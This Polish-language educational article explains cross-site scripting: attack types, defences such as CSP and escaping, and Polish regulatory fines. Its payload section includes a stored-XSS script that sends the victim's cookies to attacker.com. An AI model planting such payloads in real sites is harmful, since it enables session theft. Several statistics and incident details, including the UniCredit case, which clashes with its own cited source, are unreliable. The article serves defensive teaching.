Podatność na wstrzykiwanie złośliwych skryptów do stron WWW to 39% cyberataków na aplikacje webowe (OWASP 2023). Mechanizm ten wykorzystuje błędy w Same-Origin Policy – kluczowym zabezpieczeniu przeglądarek, które ogranicza wymianę danych między domenami.
Atakujący mogą przechwycić sesję logowania użytkownika lub manipulować zawartością stron. Przykładowo, włoski bank UniCredit stracił 3 mln euro w 2021 roku przez niezabezpieczony formularz kontaktowy umożliwiający kradzież cookies sesyjnych.
Najbardziej znany atak XSS miał miejsce w 2005 roku – skrypt “Samy” zainfekował ponad milion profili MySpace w mniej niż 24 godziny. Pokazuje to, jak krytyczne są zabezpieczenia na poziomie aplikacji webowych.
❌ Poniższe informacje podane są jedynie w celach edukacyjnych.
Kluczowe mechanizmy ataku
- Brak walidacji danych wejściowych
- Renderowanie niezaufanych skryptów w przeglądarce
- Naruszenie zasad izolacji źródeł (Same-Origin Policy)
Cross-site scripting (XSS)
XSS to technika ataku polegająca na wstrzyknięciu złośliwego kodu JavaScript, który uruchamiany jest w przeglądarce ofiary. Wykorzystuje luki w walidacji danych, pozwalając na manipulację zawartością strony lub przejęcie danych sesyjnych.

Infografika pokazująca, jak działa atak XSS (Cross-Site Scripting) – złośliwy skrypt uruchamiany w przeglądarce użytkownika pozwala hakerowi przejąć dane, sesję lub manipulować treścią strony.
Mechanizm działania i przykłady
Atak XSS może prowadzić do:
- wprowadzenia skryptu w polu formularza,
- przejęcia sesji użytkownika,
- przekierowania na fałszywą stronę logowania.
Typy ataków XSS
Typ ataku | Miejsce przechowywania | Czas wykrycia | Przykład |
---|---|---|---|
Reflected | Parametry żądania (URL) | Natychmiast | Phishingowy link z osadzonym skryptem |
Stored | Baza danych | Po ponownym załadowaniu | Wirus Samy w MySpace (2005) |
DOM-based | Struktura DOM w przeglądarce | Podczas renderowania | Manipulacja fragmentem URL (#) |
Self-XSS | Konsola przeglądarki (socjotechnika) | Zależnie od użytkownika | Samodzielne wklejenie kodu |
Blind XSS | Backend/admin panel | Opóźnione | Atak wykrywany po stronie admina |
Mutated XSS (mXSS) | Parser HTML/DOM | Trudne do wykrycia | Przekształcony payload w DOM |
Przykładowe payloady XSS
<!-- Reflected XSS -->
<script>alert('XSS')</script>
<!-- Stored XSS -->
<p><script>fetch('https://attacker.com?cookie=' + document.cookie)</script></p>
<!-- DOM-based XSS -->
<a href="#<img src=x onerror=alert('XSS')>">Click</a>
Nie tylko alert( ) – co może zrobić XSS?
- Przejęcie konta użytkownika (kradzież cookies)
- Wyświetlenie fałszywego formularza logowania
- Zdalna kontrola strony przez
eval()
lubfetch()
- Kradzież danych formularzy
- Przekierowania do stron phishingowych
Jak wykryć i zapobiegać lukom XSS?
Narzędzia testujące
- OWASP ZAP – automatyczny skaner luk XSS
- Burp Suite – analiza HTTP z funkcją przechwytywania i modyfikacji żądań
Zasady bezpiecznego kodowania
Escaping danych wejściowych
Używaj funkcji, które kodują dane wejściowe. Przykład w PHP:
<?php echo htmlspecialchars($user_input, ENT_QUOTES); ?>
Content Security Policy (CSP)
Ogranicz możliwość wykonywania skryptów przez ustawienie odpowiednich nagłówków:
Content-Security-Policy: default-src 'self'; script-src 'none';
Trusted Types (dla zaawansowanych aplikacji)
Nowoczesny mechanizm przeglądarek eliminujący ryzyko XSS poprzez ograniczenie dynamicznych skryptów w DOM.
SameSite cookies
Konfigurowanie cookies jako SameSite=Strict
lub Lax
ogranicza możliwość ich przesyłania przez inne domeny.
Checklist bezpieczeństwa aplikacji webowej (XSS)
- Walidacja i filtrowanie danych wejściowych
- Escaping danych w HTML, JS i URL
- Polityka CSP
- Nagłówki bezpieczeństwa (
X-Content-Type-Options
,X-XSS-Protection
) - Testy OWASP ZAP / Burp Suite
- Ustawienie ciasteczek jako HttpOnly, Secure i SameSite
- Trusted Types (dla SPA / JS-heavy apps)
Przykład ataku w Polsce: sklep e-commerce
Marzec 2023 – luka XSS w polu komentarza pozwoliła na:
- kradzież 12 000 danych logowania,
- straty finansowe na poziomie 230 000 zł,
- karę 150 000 zł nałożoną przez UODO.
Analiza incydentu wykazała, że zastosowanie CSP i regularne testy OWASP ZAP mogły zapobiec wyciekowi.
Aspekty prawne: RODO i UODO
RODO a XSS
Zgodnie z RODO:
- aplikacje muszą być regularnie testowane,
- dane użytkowników muszą być filtrowane i szyfrowane,
- administratorzy muszą raportować incydenty w ciągu 72h.
Odpowiedzialność administratora
Administratorzy serwisów odpowiadają za:
- przygotowanie polityki bezpieczeństwa,
- przeszkolenie zespołów IT,
- wdrażanie mechanizmów zapobiegawczych.
Przykładowe kary UODO (2023)
- 450 000 zł – luka XSS przez 8 miesięcy,
- 120 000 zł – brak szyfrowania cookies,
- 75 000 zł – korzystanie ze starego CMS.
Wnioski i rekomendacje
Strategia zabezpieczeń powinna obejmować:
- Prewencję – walidacja i filtrowanie danych wejściowych.
- Detekcję – automatyczne skanowanie luk.
- Doskonalenie – regularne audyty i szkolenia.
XSS to jedno z najpoważniejszych zagrożeń dla aplikacji webowych. Polskie firmy muszą zainwestować w bezpieczeństwo, zanim kolejny atak okaże się kosztowną lekcją. Współpraca z firmami jak Pentestica oraz wdrożenie polityk CSP to podstawa skutecznej ochrony.
Działaj teraz – bo prewencja zawsze kosztuje mniej niż incydent.
Źródła
- OWASP Foundation. (2023). Cross-site Scripting (XSS). https://owasp.org/www-community/attacks/xss/
- OWASP Foundation. (2023). OWASP Top Ten Web Application Security Risks. https://owasp.org/www-project-top-ten/
- Queen, T. (n.d.). How a Cross-Site Scripting (XSS) Worm Took Down MySpace. LinkedIn. https://www.linkedin.com/pulse/how-cross-site-scripting-xss-took-down-myspace-tim-queen–0drke
- Bitdefender Labs. (2017). Hackers steal data on 400,000 customers of UniCredit. https://www.bitdefender.com/en-us/blog/hotforsecurity/hackers-steal-information-on-400000-customers-of-italys-biggest-bank
- UODO. (2023). Decyzje administracyjne w sprawach naruszenia ochrony danych osobowych. https://uodo.gov.pl/en/553/1797
- DataGuidance. (2023). Poland: UODO fines American Heart of Poland PLN 1.5M for data breach. https://www.dataguidance.com/news/poland-uodo-fines-american-heart-poland-pln-15m-data
- Mozilla Developer Network. (2024). Trusted Types. https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API
- Web Security Academy by PortSwigger. (2024). What is Cross-site Scripting (XSS)? https://portswigger.net/web-security/cross-site-scripting